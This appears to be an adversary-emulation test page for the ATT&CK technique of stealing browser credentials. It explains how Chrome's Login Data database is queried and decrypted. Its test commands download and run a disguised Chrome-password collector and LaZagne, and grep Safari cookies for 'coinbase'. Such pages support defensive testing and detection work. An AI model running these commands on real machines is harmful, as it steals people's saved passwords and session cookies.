Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file,
AppData\Local\Google\Chrome\User Data\Default\Login Data
and executing a SQL query:SELECT action_url, username_value, password_value FROM logins;
. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API functionCryptUnprotectData
, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager.
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).
A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.
Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of $env:TEMP\sysinternals\passwordsdb.
Adapted from MITRE ATTACK Evals
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
file_path | File path for modified Sysinternals | String | $env:TEMP |
Set-Location -path "#{file_path}\Sysinternals";
./accesschk.exe -accepteula .;
Remove-Item #{file_path}\Sysinternals -Force -Recurse -ErrorAction Ignore
if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit 1}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip"
Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force
Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force
This test uses grep
to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.
Upon successful execution, MacOS shell will cd to ~/Libraries/Cookies
and grep for Cookies.binarycookies
.
Supported Platforms: macOS
Name | Description | Type | Default Value |
---|---|---|---|
search_string | String to search Safari cookies to find. | string | coinbase |
cd ~/Library/Cookies
grep -q "#{search_string}" "Cookies.binarycookies"
The following Atomic test utilizes LaZagne to extract passwords from browsers on the Windows operating system. LaZagne is an open source application used to retrieve passwords stored on a local computer.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
lazagne_path | Path to LaZagne | Path | PathToAtomicsFolder\T1555.003\bin\LaZagne.exe |
#{lazagne_path} browsers
if (Test-Path #{lazagne_path}) {exit 0} else {exit 1}
New-Item -Type Directory (split-path #{lazagne_path}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe" -OutFile "#{lazagne_path}"